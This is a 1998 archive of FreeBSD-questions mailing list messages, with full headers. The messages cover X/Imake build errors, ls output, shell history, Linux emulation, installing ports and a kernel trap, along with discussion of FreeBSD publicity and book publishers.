freebsd-questions@FreeBSD.ORG Subject: Imake and XWindows Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm trying to compile a XWindows port, but I always get the error message: Imakefile.c can't find file Imake.tmpl stop (error 33) I hear I need to install the X-Developer kit for this to work. Where do I get it? When installing from /stand/sysinstall I select X-developer but when its finished I still get the same error message. What am I doing wrong? Can I somehow manually install X-developer? Any help would be greatly appreciated. John Cuzzola john@esic.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:23:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA22615 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:23:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA22592 for ; Fri, 10 Apr 1998 17:22:46 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id JAA19758; Sat, 11 Apr 1998 09:52:33 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id JAA08820; Sat, 11 Apr 1998 09:52:32 +0930 (CST) (envelope-from grog) Message-ID: <19980411095232.22376@freebie.lemis.com> Date: Sat, 11 Apr 1998 09:52:32 +0930 From: Greg Lehey To: "Christopher R. Maden" , freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <19980410113536.65458@freebie.lemis.com> <199804100250.WAA02788@crism.ne.mediaone.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804100250.WAA02788@crism.ne.mediaone.net>; from Christopher R. Maden on Thu, Apr 09, 1998 at 10:50:11PM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 22:50:11 -0400, Christopher R. Maden wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > I was going to send this just to Greg, but my suggestions at the end > are possibly useful to the group at large. > > [Greg Lehey] >> Tim knows about Jordan, despite his message. We've repeatedly tried >> to get them interested in BSD, but there's something at ORA that >> resists. I suspect it's not Tim (who lives in California), but >> somebody on the East Coast. > > Is this one of those weird west coast/east coast UNIX things? You'd > think we were rappers; I've never understood it. Don't look at me, I'm on the South Coast. > Tim has allegedly resisted proposals for FreeBSD books; the only two > FreeBSD users I *know* of at O'Reilly are on the east coast. Names? I know Andy Oram is favourable towards it, but Frank Willison (Editor in chief) obviously is not. I asked Andy about this matter, and he said that he hadn't been involved, and that it wouldn't make any sense to comment. > Most of the directional decisions happen on the west coast; the > Cambridge office is almost exclusively production staff, though there > are some marketing people and editors. Interesting. That's not the impression I have had. Sure, Tim makes his decisions in Sebastopol, but I thought most of the other stuff happened in Cambridge. Of course, things could have changed. They have expanded a lot in Sebastopol since the first time I was there. >> I've just about given up with ORA. They seem to be relinquishing >> their position as the favourite UNIX publisher and chasing the NT >> crowd. I'm surprised they even had this "summit". > > I disagree with that. My current project is the _UNIX Power Library_, > a CD of the six most popular UNIX books (Power Tools, vi, ksh, sed & > awk, UNIX Nut, and Learning UNIX) along with the Power Tools > software. Interesting. But that's nothing new except for the packaging. > I'd say the current focus is more on Web stuff like Perl, Java, HTML, > JavaScript, and XML. The focus of the Windows stuff is one I don't > mind, and my home is Microsoft-free. I like the thurst of the > "Annoyances" series. If ORA had kept its commitment to UNIX, I wouldn't have worried so much about the Microsoft books. I'm currently (too slowly) writing a book about debugging for ORA. One of the things that Andy asked me was to include NT. I can understand the request, but I don't know enough about NT to be able to write anything useful. > The main problem is that Tim doesn't see that there's a market for > FreeBSD books, and he *is* in business to make money. That's a reasonable statement. > Even better, if there's a specific book you think needs writing, > *write it*. I did :-( Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:28:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA24058 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:28:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tower.ti.com (tower.ti.com [192.94.94.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA23994 for ; Fri, 10 Apr 1998 17:28:23 -0700 (PDT) (envelope-from kf7nn@mutsgo.dyn.ml.org) Received: from tilde.csc.ti.com ([157.170.1.149]) by tower.ti.com (8.8.8) with ESMTP id TAA17512 for ; Fri, 10 Apr 1998 19:27:51 -0500 (CDT) Received: from spdc.ti.com (ox.spdc.ti.com [192.226.26.51]) by tilde.csc.ti.com (8.8.8/8.8.8) with ESMTP id TAA20793 for ; Fri, 10 Apr 1998 19:27:50 -0500 (CDT) Received: from epcot.spdc.ti.com (epcot [192.226.26.53]) by spdc.ti.com (8.8.5/8.8.5) with ESMTP id TAA14920 for ; Fri, 10 Apr 1998 19:27:49 -0500 (CDT) Received: from vagnernt (dhcp22-158.spdc.ti.com [192.226.22.158]) by epcot.spdc.ti.com (8.8.8/8.8.8) with SMTP id TAA10520 for ; Fri, 10 Apr 1998 19:27:48 -0500 (CDT) Date: Fri, 10 Apr 1998 19:27:48 -0500 (CDT) Message-Id: <199804110027.TAA10520@epcot.spdc.ti.com> X-Sender: vagner@epcot.spdc.ti.com X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: questions@FreeBSD.ORG From: "Paul T. Root" (by way of George Vagner ) Subject: what are the asterisks for Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I noticed these asterisks and was wondering what they mean. > ls 00_index.txt* ckdist.man* fips.exe* osbs135.exe* restorrb.exe* README* dist/ fips15c.tar.gz* osbsbeta.exe* setup.exe* boot.bin* extipl.exe* gunzip.exe* pfdisk.exe* setup.hlp* bootinst.exe* fbsdboot.exe* gzip.exe* presizer/ srcs/ ckdist.exe* fdimage.exe* ide_conf.exe* rawrite.exe* > pwd Current remote directory: /archive2/FreeBSD/tools ftp2.freebsd.org /archive2/FreeBSD/tools ftp2> -- If riding in an airplane is flying, then riding in a boat is swimming. If you want to experience the element, get out of the vehicle. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:33:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA25923 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:33:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA25841; Fri, 10 Apr 1998 17:33:17 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id KAA19778; Sat, 11 Apr 1998 10:02:59 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id KAA08887; Sat, 11 Apr 1998 10:02:58 +0930 (CST) (envelope-from grog) Message-ID: <19980411100258.52827@freebie.lemis.com> Date: Sat, 11 Apr 1998 10:02:58 +0930 From: Greg Lehey To: Open Systems Networking , "Jordan K. Hubbard" Cc: David Shanes , Brett Glass , freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <3980.892169423@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Open Systems Networking on Thu, Apr 09, 1998 at 11:19:58PM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 23:19:58 -0400, Open Systems Networking wrote: > I think we SERIOUSLY need a PR plan of some kind. I think also we can take > the gloves off and start kicking heads without getting nasty about it. We > have several FACTUAL resources that they just CANT compete with. Does anybody out there care? What I see is that they will get the impression "these free UNIXes attract a strange, aggressive kind of person, each saying \"My UNIX is better than your UNIX\"". >> guys hasn't appeared to have won us anything but lots of nice comments >> from folks like Marc A. at netscape to the effect that "Linux is the >> only free OS alternative." I'm getting tired of that, and if it's >> going to take "breaking ranks" with the rest of the free OS community >> to get our own message out, maybe it's time. > > I second this! But the problemhere is that we have zero PR. I am not > making light of jordans efforts at all. His trips, his talks, his free CD > handouts to promote FreeBSD. But the fact is we dont have any PR that is > making any difference to anyone but geeks. ORA flat out annoys me by > pretty much refusing to do a FreeBSD book. The only publisher I can > respect now would be addison wessley since they have seemed interested in > publishing gregs book. I dont know what happened on that front. Neither do I. Time to nag, I suppose. J Carter Shanklin called me a couple of months ago and was really interested, but things seemed to cool off before he got the book (*if* he got the book). I will report. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:34:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA26431 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:34:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA26359 for ; Fri, 10 Apr 1998 17:34:30 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul3.u.washington.edu (root@saul3.u.washington.edu [140.142.83.1]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA21184; Fri, 10 Apr 1998 17:34:28 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id RAA00677; Fri, 10 Apr 1998 17:34:27 -0700 (PDT) Date: Fri, 10 Apr 1998 16:33:20 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Dima Dorfman cc: freebsd-questions@FreeBSD.ORG Subject: Re: History In-Reply-To: <3.0.5.32.19980410171412.009006c0@207.213.224.25> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Dima Dorfman wrote: > Hi: > > I'm having problems using the history. I know it's supposed to be stored > in .history (using sh), and used by pushing the up & down keys. Well, it > doesn't work! First, it isn't getting stored, and second, when I push up, > it prints '^[[A' on the console. > > Thanks for any help in advance! > Dima You must be using a shell which supports the history mechanism. 'bash' is one such shell. 'tcsh' is another. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:38:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA27734 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:38:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA27601 for ; Fri, 10 Apr 1998 17:37:44 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul2.u.washington.edu (root@saul2.u.washington.edu [140.142.56.21]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA29880; Fri, 10 Apr 1998 17:37:40 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id RAA21024; Fri, 10 Apr 1998 17:37:39 -0700 (PDT) Date: Fri, 10 Apr 1998 16:36:32 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: "Paul T. Root" cc: questions@FreeBSD.ORG Subject: Re: what are the asterisks for In-Reply-To: <199804110027.TAA10520@epcot.spdc.ti.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Paul T. Root wrote: > I noticed these asterisks and was wondering what they mean. > > ls > > 00_index.txt* ckdist.man* fips.exe* osbs135.exe* restorrb.exe* > README* dist/ fips15c.tar.gz* osbsbeta.exe* setup.exe* > boot.bin* extipl.exe* gunzip.exe* pfdisk.exe* setup.hlp* > bootinst.exe* fbsdboot.exe* gzip.exe* presizer/ srcs/ > ckdist.exe* fdimage.exe* ide_conf.exe* rawrite.exe* It looks like you have a certain ls option (-F) set as an alias in your shell. The slash is a directory. The asterisk is executable. See 'man ls'. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:56:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA00409 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:56:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from krygierpc.kph.uni-mainz.de (krygierpc.kph.uni-mainz.de [134.93.132.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA00373 for ; Fri, 10 Apr 1998 17:56:23 -0700 (PDT) (envelope-from krygier@kph.uni-mainz.de) Received: from localhost (krygier@localhost) by krygierpc.kph.uni-mainz.de (8.8.7/8.8.7) with ESMTP id CAA06712 for ; Sat, 11 Apr 1998 02:56:12 +0200 (CEST) X-Authentication-Warning: krygierpc.kph.uni-mainz.de: krygier owned process doing -bs Date: Sat, 11 Apr 1998 02:56:11 +0200 (CEST) From: Klaus Werner Krygier To: freebsd-questions@FreeBSD.ORG Subject: Linux emulation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is it possible to force the Linux emulator to use the /compat/linux tree only for shared libraries and other system files but not on the user level? I our heterogenous computer environment we use a commercial client/server backup system (NSR) which runs on several platforms. Unfortunately, client software for this system is available only for Linux and not for FreeBSD :-(. This software seems to work fine under FreeBSD (because of the excellent Linux emulation :)) but with one ugly exception: Instead of files and directories in the / tree the /compat/linux tree is accessed. Especially addressing of a subdirectory for which the corresponding /compat/linux directory exists yields in accessing ONLY the Linux files. The same effect occurs for example if you use a Linux find: $ ./find /etc /etc /etc/host.conf /etc/ld.so.conf /etc/ld.so.cache /etc/revision-history /etc/nsswitch.conf $ For backup purposes this behaviour is not very useful. In the worst case a backup consists only of Linux files - the last thing we want to backup. Can anyone help us? Klaus Werner Krygier +-----------------------------------------------------------------------+ | Dr. Klaus Werner Krygier | Email: krygier@kph.uni-mainz.de | | Institut für Kernphysik | | | Johannes Gutenberg-Universität | Tel: +49-6131-39-2960 | | J.J.Becher-Weg 45 | +49-6131-39-5192 | | D-55099 Mainz | Fax: +49-6131-39-2964 | +-----------------------------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:05:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA01618 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:05:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from python.shoal.net.au (perrya@python.shoal.net.au [203.26.44.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA01545 for ; Fri, 10 Apr 1998 18:04:15 -0700 (PDT) (envelope-from perrya@python.shoal.net.au) Received: from localhost (perrya@localhost) by python.shoal.net.au (8.8.6/8.8.5) with SMTP id LAA03610; Sat, 11 Apr 1998 11:03:54 +1000 (EST) Date: Sat, 11 Apr 1998 11:03:54 +1000 (EST) From: Andrew To: Jason Blackston cc: freebsd-questions@FreeBSD.ORG Subject: Re: Downloading files In-Reply-To: <352E05F5.A1B82D81@execpc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For netscape try downloading the package and see if that works. ftp.freebsd.org/pub/FreeBSD/packages-2.2.6/All/netscape-navigator-4.04.tgz (or communicator). Otherwise if you want to continue with the port go to ftp.freebsd.org/pub/distfiles and download the distfile that the port is looking for. Try one of the mirror sites first (to keep traffic down) but I've found that some ports (like netscape) only appear to be available at ftp.freebsd.org Put the downloaded distfile in /usr/ports/distfiles and try to `make` the port again. Getting a different window manager is the same kind of thing. Have a look at http://www.freebsd.org/ports/x11.html there are a few window managers in there. As for setting them up that's a different story. I'm trying to come to grips with fvwm2. Basically in your .xinitrc you put the name of your preferred window manager in place of where it currently says twm. Then you start customising. There are man pages available when you install the ports/packages eg: man fvwm2 When you get this far ask on the list and someone will probably give you a start. (or I might have worked it out a bit better by then) hope this helps Andrew Perry > I've just got FreeBSD installed and connected to the internet and a > pretty good ping. My problem now is that I wish to start downloading > things to help make my server better, like netscape 4.0 and other > programs. When I go to the netscape 4 directory and type make I get an > error were it can not connect to netscape. I keep getting this error > when I try and make file other programs. Could some one just simples > tell me the steps on how to get programs install them and get them > running on FreeBSD. I'm running Xfree86 and I wish to get my hands on a > new Window manager cause the one it comes with SUCKS!!! I hope you guys > can help me out. > > Thanks, > Jason Blackston > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:08:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA02625 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:08:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA02187 for ; Fri, 10 Apr 1998 18:07:45 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id SAA03612; Fri, 10 Apr 1998 18:07:23 -0700 (PDT) (envelope-from tomdean) Date: Fri, 10 Apr 1998 18:07:23 -0700 (PDT) Message-Id: <199804110107.SAA03612@ix.netcom.com> From: Thomas Dean To: questions@FreeBSD.ORG CC: info@cdrom.com Subject: Walnut Creek WWW Page. Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I note that Linux Red Hat 5.0 (February 1998) is on Walnut Creek's WWW page. Why not FreeBSD 2.2.6? I see that the "Powered by ..." is at the bottom of the page. To get FreeBSD, you have to paw thru the site, somewhat. Be nice if there was an "ORDER NOW" button like for other things. tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:15:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA03593 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:15:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.webspan.net (root@mail.webspan.net [206.154.70.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA03545; Fri, 10 Apr 1998 18:15:10 -0700 (PDT) (envelope-from opsys@mail.webspan.net) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (WEBSPAN/970608) with SMTP id VAA17340; Fri, 10 Apr 1998 21:11:00 -0400 (EDT) Date: Fri, 10 Apr 1998 21:14:34 -0400 (EDT) From: Open Systems Networking X-Sender: opsys@orion.webspan.net To: Greg Lehey cc: "Jordan K. Hubbard" , David Shanes , Brett Glass , freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <19980411100258.52827@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Greg Lehey wrote: > Does anybody out there care? What I see is that they will get the > impression "these free UNIXes attract a strange, aggressive kind of > person, each saying \"My UNIX is better than your UNIX\"". I think some do. The idea was not to start a pissing match with linux or NT. It was simply to point out the fact that FreeBSD works harder than other OS's based on actual, verifiable, servers. And I think as previously mentioned we have to pick our target audience. Which someone suggests should be corporate america. And I agree with that. We cannot take the desktop if someone donated 20 trillion dollars to FreeBSD Inc. tommorow :) But we can take server markets, and alot of non-desktop markets. We just need to focus and pick and choose our fights. And we NEED PR. We need to start being visable. More so than we have up to now. Thats my thinking anyway. We are gaining no ground. We need to change this and I think a PR offensive is our best choice right now. It certainly cant do any worse than our invisible image now :) Chris -- "I am closed minded. It keeps the rain out." ===================================| Open Systems Networking And Consulting. FreeBSD 2.2.6 is available now! | Phone: 316-326-6800 -----------------------------------| 1402 N. Washington, Wellington, KS-67152 FreeBSD: The power to serve! | E-Mail: opsys@open-systems.net http://www.freebsd.org | Consulting-Network Engineering-Security ===================================| http://open-systems.net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQENAzPemUsAAAEH/06iF0BU8pMtdLJrxp/lLk3vg9QJCHajsd25gYtR8X1Px1Te gWU0C4EwMh4seDIgK9bzFmjjlZOEgS9zEgia28xDgeluQjuuMyUFJ58MzRlC2ONC foYIZsFyIqdjEOCBdfhH5bmgB5/+L5bjDK6lNdqD8OAhtC4Xnc1UxAKq3oUgVD/Z d5UJXU2xm+f08WwGZIUcbGcaonRC/6Z/5o8YpLVBpcFeLtKW5WwGhEMxl9WDZ3Kb NZH6bx15WiB2Q/gZQib3ZXhe1xEgRP+p6BnvF364I/To9kMduHpJKU97PH3dU7Mv CXk2NG3rtOgLTEwLyvtBPqLnbx35E0JnZc0k5YkABRO0JU9wZW4gU3lzdGVtcyA8 b3BzeXNAb3Blbi1zeXN0ZW1zLm5ldD4= =BBjp -----END PGP PUBLIC KEY BLOCK----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:17:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA04419 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:17:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA04349 for ; Fri, 10 Apr 1998 18:17:16 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id TAA06347; Fri, 10 Apr 1998 19:17:08 -0600 (MDT) Message-Id: <199804110117.TAA06347@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Fri, 10 Apr 1998 19:17:04 -0600 To: questions@FreeBSD.ORG From: Brett Glass Subject: A big chance for FreeBSD Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to a story at http://www.news.com/News/Item/0%2C4%2C20978%2C00.html Microsoft is offering small Internet service providers free copies of NT -- worth nearly $2,000 at retail -- if they'll agree to push Internet Explorer on their users. "We don't have an operating system we can give away for free to our customers," says Netscape spokeswoman Chris Holten in the article. "This promotion begs the question whether Microsoft is abusing their monopoly power." Does anyone else besides me see this as a big opportunity for FreeBSD? Jordan, how fast can Walnut Creek get on the horn to Netscape and offer to do a large run of FreeBSD CD-ROMs just for them -- either the standard release or a special one with Netscape's server on the disks? If they buy a big lot, WC will make a tidy profit and FreeBSD will get a big boost. --Brett Glass To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:25:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA05167 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:25:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA05132 for ; Fri, 10 Apr 1998 18:24:48 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id KAA19859; Sat, 11 Apr 1998 10:54:13 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id KAA09114; Sat, 11 Apr 1998 10:54:13 +0930 (CST) (envelope-from grog) Message-ID: <19980411105412.14660@freebie.lemis.com> Date: Sat, 11 Apr 1998 10:54:12 +0930 From: Greg Lehey To: Luiz Lins , "freebsd-questions@FreeBSD.ORG" Subject: Re: Fatal Trap 12 References: <352E5FB9.FFE53271@linkoteca.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352E5FB9.FFE53271@linkoteca.com>; from Luiz Lins on Fri, Apr 10, 1998 at 03:06:49PM -0300 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 April 1998 at 15:06:49 -0300, Luiz Lins wrote: > Greetings. > > I have a FreeBSD-2.2.5 RELEASE runnung in a P133 48Mb RAM, HD SCSI > 4.1 Gb, adaptec 2940 controller..... > > Everything was OK, when a few days ago, the machine began to lock > and reboot automaitically. When it occurs, I get the following message: > > FATAL TRAP 12: PAGE FAULT WHILE IN KERNEL MODE. > > What does it mean? Is a hardware or software error? I've never seen this message in all caps before. I don't know what that means. The message itself indicates an unexpected condition, and doesn't give much of an indication about where it happened. If you can get a dump of the system, it would help. Take a look at http://www.freebsd.org/handbook/handbook268.html#608 for details of how to take a dump. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:31:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA06186 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:31:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell.the-link.net (root@the-link.net [209.12.240.129]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA06050 for ; Fri, 10 Apr 1998 18:30:37 -0700 (PDT) (envelope-from loper@mindspring.com) Received: from mindspring.com (dialin92.mgm.the-link.net [209.12.234.92]) by shell.the-link.net (8.8.7/8.8.5) with ESMTP id UAA18428 for ; Fri, 10 Apr 1998 20:28:35 -0500 (CDT) Message-ID: <352EC7B4.CE84C1EF@mindspring.com> Date: Fri, 10 Apr 1998 20:30:28 -0500 From: Mark Cartwright X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: updated user PPP Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello. I am (still) using 2.2.2-RELEASE and the user PPP that came with it. I have packet aliasing working, but cannot get it to alias Internet games to my private network that use UDP. I have gotten the impression that the new(?) version of PPP supports the 'alias' command to force the aliasing of specific packet types on specific ports from within the PPP interface, but cannot get the source for PPP to compile on my system as gotten from the FTP site. Any help here, or a bin, or .tgz file would be greatly appreciated. If it helps at all, the games I am trying to get to work specifically are Starcraft and Quake. Thanks very much in advance. Mark Cartwright To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri 